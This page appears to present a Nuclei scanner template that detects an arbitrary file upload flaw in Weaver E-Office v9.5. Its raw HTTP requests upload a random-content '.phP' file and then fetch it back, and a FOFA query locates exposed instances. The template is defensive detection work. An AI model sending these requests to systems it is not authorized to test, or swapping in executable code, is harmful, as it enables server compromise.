Weaver E-Office v9.5 - Arbitrary File Upload

ID: weaver-eoffice-file-upload

Severity: high

Author: princechaddha

Tags: e-office,weaver,intrusive,file-upload

Description

Weaver E-Office version 9.5 is susceptible to an arbitrary file upload vulnerability. This flaw allows malicious actors to upload and execute arbitrary code or files without proper validation or authorization.

YAML Source

id: weaver-eoffice-file-upload

info:
  name: Weaver E-Office v9.5 - Arbitrary File Upload
  author: princechaddha
  severity: high
  description: |
    Weaver E-Office version 9.5 is susceptible to an arbitrary file upload vulnerability. This flaw allows malicious actors to upload and execute arbitrary code or files without proper validation or authorization.
  reference:
    - https://github.com/RCEraser/cve/blob/main/Weaver.md
  classification:
    cpe: cpe:2.3:a:weaver:e-office:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    fofa-query: app="泛微-EOffice"
    product: e-office
    vendor: weaver
  tags: e-office,weaver,intrusive,file-upload

variables:
  filename: '{{rand_base(7, "abc")}}'

http:
  - raw:
      - |
        POST /E-mobile/App/Ajax/ajax.php?action=mobile_upload_save  HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt

        ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
        Content-Disposition: form-data; name="upload_quwan"; filename="{{filename}}.phP"
        Content-Type: image/jpeg

        {{randstr}}
        ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
        Content-Disposition: form-data; name="file"; filename=""
        Content-Type: application/octet-stream


        ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt--
      - |
        GET /attachment/{{id}}/{{filename}}.phP HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '{{randstr}}'

    extractors:
      - type: regex
        name: id
        part: body
        group: 1
        internal: true
        regex:
          - '\\\/attachment\\\/([0-9]+)\\\/'
# digest: 490a0046304402204664c399cf5c9ce1e2ff14f977a5cc35a6de2970f19dc5ffbcd77567a47bbc45022067f301ea809152e81fdbc74fda9a288af2ea441f0c7ec523d708b196f88772e0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/weaver/eoffice/weaver-eoffice-file-upload.yaml"

View on Github